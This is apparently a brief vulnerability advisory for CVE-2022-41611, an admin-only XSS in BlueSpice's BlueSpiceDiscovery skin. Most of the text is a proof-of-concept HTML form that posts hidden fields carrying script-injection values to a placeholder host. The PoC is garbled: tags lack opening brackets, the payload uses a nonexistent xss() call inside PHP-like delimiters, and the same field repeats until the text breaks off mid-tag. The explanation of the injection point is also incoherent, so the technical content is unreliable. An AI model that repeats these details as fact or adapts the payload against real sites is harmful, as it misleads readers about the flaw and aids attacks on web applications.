CVE-2022-41611 An XSS vulnerability in the BlueSpiceDiscovery skin of BlueSpice allows user with admin privileges to inject arbitrary HTML.
The injection point occurs inside the “sitemap.html” file where user can use conditional statements to execute arbitrary script. In order to exploit XSS vulnerability, user needs to be logged in as an admin. The following PoC is available on GitHub that will inject arbitrary script into the main navigation of the application: form action="http://BLUE_SAPIENSUALS/mainnav/create.php" method="POST"> input type="hidden" name="val" value="?=xss(document.domain);?>"/> input type="hidden" name="val2" value="?=xss(document.domain);?>"/> input type="hidden" name="val3" value="?=xss(document.domain);?>"/> input type="hidden" name="val4" value="?=xss(document.domain);?>"/> input type="hidden" name="val5" value="?=xss(document.domain);?>"/> input type="hidden" name="val6" value="?=xss(document.domain);?>"/> input type="hidden" name="val7" value="?=xss(document.domain);?>"/> input type= "hidden" name= "val8" value= "?=xss(document.domain);?>"/> input type= "hidden
